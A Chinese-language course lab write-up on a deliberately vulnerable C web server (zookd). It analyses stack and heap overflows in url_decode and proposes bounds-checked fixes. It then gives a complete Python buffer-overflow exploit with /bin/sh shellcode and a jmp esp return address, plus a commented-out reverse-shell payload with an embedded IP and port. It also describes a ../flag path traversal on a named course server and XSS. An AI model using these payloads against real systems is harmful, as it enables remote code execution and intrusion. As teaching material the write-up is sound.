@killa
2016-01-16T03:23:46.000000Z
字数 7490
阅读 1406
课程
计算机系统安全分析
获得WEB服务器内某用户文件夹根目录下的flag文件内容。
利用服务器程序的漏洞,进行缓冲区溢出攻击。
在两种情况:只有服务器程序可执行文件的时候和拿到服务器程序源代码的时候,都可以获得漏洞信息。第一种情况下要比第二种情况更难,需要多进行一些操作。本人实际是在拿到了源代码后对源代码进行分析才发现的漏洞。
在只有服务器二进制可执行文件的情况下,可以通过使用objdump
工具,对二进制文件进行反汇编,得到其对应汇编代码。使用方式为:
objdump -D ./zookld
objdump -D ./zookd-exstack
objdump -D ./zookfs-exstack
得到汇编代码后可进行分析。
除此之外,还可以使用IDA Pro工具对二进制文件进行反编译,生成C语言代码。再通过对C语言代码进行分析查找漏洞。
除去Makefile、头文件和一些库文件,主要的源代码文件有四个:zookld.c
、zookd.c
、zookfs.c
和 http.c
。其中 http.c
是用来进行HTTP报文解析和处理的自定义库函数文件。
几个源代码文件都不是很长,经过通读分析之后,共发现了两个溢出安全漏洞。两个漏洞的具体信息会在下面的章节介绍。
当一个程序在计算机中运行时,它将在内存中占有一块空间,这块空间中包含了这个程序的代码、数据、以及一些用于在运行过程中动态使用的空间。一个程序的内存布局见下图:
其中缓冲区是一个抽象的概念,指一段可读写的内存区域,栈和堆都可以作为缓冲区。栈是程序调用函数时使用的内存区域,包括函数的一些参数、函数内部定义的变量、函数返回地址等,增长方向为从高地址向低地址;堆是程序运行过程中动态申请的变量所在的空间,增长方向与栈正好相反,由低地址向高地址增长。
所谓缓冲区溢出,就是栈或者堆中的变量写入内容超出变量原本定义的大小。
函数在被调用的时候,会在栈中获得一块空间,称为栈帧。栈帧也具有一定的结构,栈帧的结构如下图:
从高地址到低地址依次是函数的参数、返回地址和ebp、函数内部定义的局部变量。其中返回地址是指当前函数运行完毕后,下一条运行的指令的地址。 这块数据是溢出攻击的关键,下文将其称为ret。
以栈溢出攻击为例,由于栈的增长方向是由高地址向低地址,而数据的写入方向是从低地址向高地址,故在向局部变量中写入数据的时候,如果没有检查写入数据的大小是否与变量大小匹配,并且写入数据大小超出变量大小,就会发生溢出。溢出的数据会覆盖变量高地址方向的内容,比如ebp和ret。如果溢出的数据进行过精心设计,使其在覆盖ret内容时能够由我们决定内容,那么我们就可以控制此函数执行完毕后执行的指令,甚至可以将指令写入数据中运行我们自己编写的程序,从而达到攻击的效果。
堆溢出的原理与栈溢出相同,只不过溢出的变量在堆中。
在查看 zookd.c
的代码时我发现,在 static void process_client(int fd)
这个函数中,定义了全局字符数组变量 env
,长度为8192个字节、变量局部字符数组变量 reqpath
这个数组的大小是2048个字节,并且 reqpath
变量在函数 http_request_line()
中被赋值。如图:
于是转而观察 http_request_line()
函数,发现 reqpath
变量的值实际上来自 env
的子串,如图:
将 env
的子串的内容处理并赋值给 reqpath
的过程在 url_decode()
函数中。观察 url_decode()
函数,发现其操作只是单纯地 env
的每个字节进行遍历并写入 reqpath
,如图:
由于将 env
子串写入 reqpath
的整个过程都没有考虑到 reqpath
的长度,并且 env
的长度比 reqpath
大很多,所以可能导致 reqpath
溢出。
查看过程中发现 zookfs.c
文件中调用了函数 http_request_headers()
,如图:
在 http_request_headers()
函数中,定义了字符指针变量 value
,并动态为其分配了512字节的内存空间。由于其空间是动态分配的,故这块空间在内存的堆部分,如图:
同时可以发现,value
的赋值操作同样也是使用的 url_decode()
函数。因此,value
所指向的字符数组也可以溢出。
对于栈溢出漏洞,可以通过简单地将 reqpath
数组的大小改为8192,由于GET报文的最长长度是8192字节,故这样一定不会发生溢出。
对于堆溢出漏洞,必须修改 url_decode()
函数的形式,将两个参数所指向的数组的长度也作为参数传入,变成诸如 url_decode(char *dst, const char *src, int dst_len, int src_len)
的函数,并且在进行赋值前对比两者长度,保证 src_len
≤ dst_len
。
我根据栈溢出漏洞,使用栈溢出攻击。
根据代码可以得出,被溢出的变量 reqpath
是函数内第一个被定义的局部变量,如图:
由于静态变量不放在栈内,故要想溢出到覆盖函数返回地址,估计最终攻击时需要发送长度比2048稍大的数据。
由栈帧结构我们可以得知,局部变量溢出后并不立刻是函数返回地址,而是在它们中间有一些其他变量。我们需要寻找返回地址的位置以确定溢出的数据长度和需要覆盖返回地址的数据位置。
寻找返回地址我们需要使用gdb工具,通过gdb工具检测强制溢出时服务器程序的段错误位置,从而确定返回地址的位置。我们使用长度超出2048约100个字节的字符串进行溢出,检测到 zookd-exstack
程序在 0x41414141
地址处出现了段错误,如图:
由此推断应该将替换的返回地址放在数据的第2068字节后。
shellcode是一段二进制代码,它是攻击者放在数据中并希望目标机器执行的代码。由于每次程序运行时加载的内存位置都不同,故没有办法确定返回地址该填充什么数据。为了保证shellcode能够被执行,可以借助 jmp esp
指令这个跳板进行攻击。
shellcode中的内容是有要求的,在不同的攻击中要求不尽相同,但是有一条统一的规定:不准包含字符'\0'(\x00),这是因为数据都是以字符串的形式进行传输,'\0'会强行截断字符串,导致shellcode不完整。
此外,在此次攻击中,由于 http_request_headers()
、url_decode()
等函数在对HTTP报文进行解析时,会对一些字符进行判断和替换,将有另外一些字符不能出现在shellcode中。它们是:
综合考虑以上几个要求,在从网上找了多个可以实现攻击的shellcode并进行筛选之后,我们选择以下的shellcode:
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3
\x05\xb1\x03\xfe\xc9\xb0\x40\xfe\xc8
\xcd\x80\x84\xc0\x75\xf4\x31\xc0\x52
\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62
\x69\x89\xe3\x52\x53\x89\xe1\x52\x89
\xe2\xb0\x0b\xcd\x80
这段shellcode的作用是开启一个shell窗口。
现在我们知道了在什么地方写入ret,也知道了shellcode的内容,唯一一个剩下的问题便是怎么保证shellcode被执行。
在寄存器中,有一个特殊的寄存器叫做ebp,作为栈底指针,它始终指向ret的下一行。在当前函数执行完毕后,开始执行ret指向的指令前,此函数对应的栈帧将被销毁,这时原来的栈底就变成了新的栈顶,ebp的值会被传入栈顶指针esp中。于是我们便可以通过 jmp esp
这条指令,使程序开始执行紧接着ret后面的内容。所以我们只需将ret的位置替换为 jmp esp
指令的地址,然后在它之后写入shellcode即可。
jmp esp
指令的二进制表示方式为:ff e4
,通过反汇编 zookd-exstack
并查找我们得到一条地址 0x0804aa13
,如图:
此时我们可以开始撰写攻击代码了,使用python作为编写语言,首先生成精心设计后的HTTP报文,然后将其发出进行溢出攻击。代码如下:
#!/usr/bin/python
import socket
import traceback
####
#20 bytes
padding = "PPPPPPPPPPPPPPPPPPPP"
#2048-1 bytes
placeTaker = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
#address of jmp esp (zookd-exstack 804aa13)
jmpEspAddr = "\x13\xaa\x04\x08"
#reverse shell ip address
# ipAddr = "\x1b\x04\x1c\x73" #115.28.4.27
#reverse shell port
# port = "\x69\x7a" #31337
#shellcode
shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x05\xb1\x03\xfe\xc9\xb0\x40\xfe\xc8\xcd\x80\x84\xc0\x75\xf4\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80"
# shellcodeReserveShell = "\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68" + \
# ipAddr + \
# "\x66\x68" + \
# port + \
# "\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
def build_exploit():
req = "GET /" + \
padding + \
placeTaker + \
jmpEspAddr + \
shellcode + \
" HTTP/1.0\r\n" + \
"\r\n"
return req
###
def send_req(host, port, req):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("Connecting to %s:%d..." % (host, port))
sock.connect((host, port))
print("Connected, sending request...")
sock.send(req)
rbuf = sock.recv(1024)
resp = ""
while len(rbuf):
resp = resp + rbuf
print len(rbuf)
rbuf = sock.recv(1024)
print("Received reply.")
sock.close()
return resp
####
# host = "loccs.sjtu.edu.cn"
# port = 10086
host = "localhost"
port = 8080
try:
req = build_exploit()
print("HTTP request:")
print(req)
resp = send_req(host, port, req)
print("HTTP response:")
print(resp)
except:
print("Exception:")
print(traceback.format_exc())
通过执行 openShell.py
文件,使用gdb监视服务器程序发现,成功地开启了shell,如图:
但是由于时间紧迫,后续的利用shell进行的获取flag的攻击未能完成。
除了两个溢出漏洞之外,还有一个漏洞可以直接获取flag文件的内容,就是直接向服务器请求flag文件。通过程序请求 ../flag
路径或是直接在浏览器中访问 http://loccs.sjtu.edu.cn:10086/..%2fflag
地址,都可以直接获得flag文件的内容: Gossip{C0mpu73r_S3cur17y_Fun!}
,如图:
除此之外,WEB页面上也有一些漏洞:用户自己向自己发送balance会使得自己的balence增加;用户的profile中如果填入 <script></script>
标签包含的javascript代码,在浏览其个人页面时代码会被执行。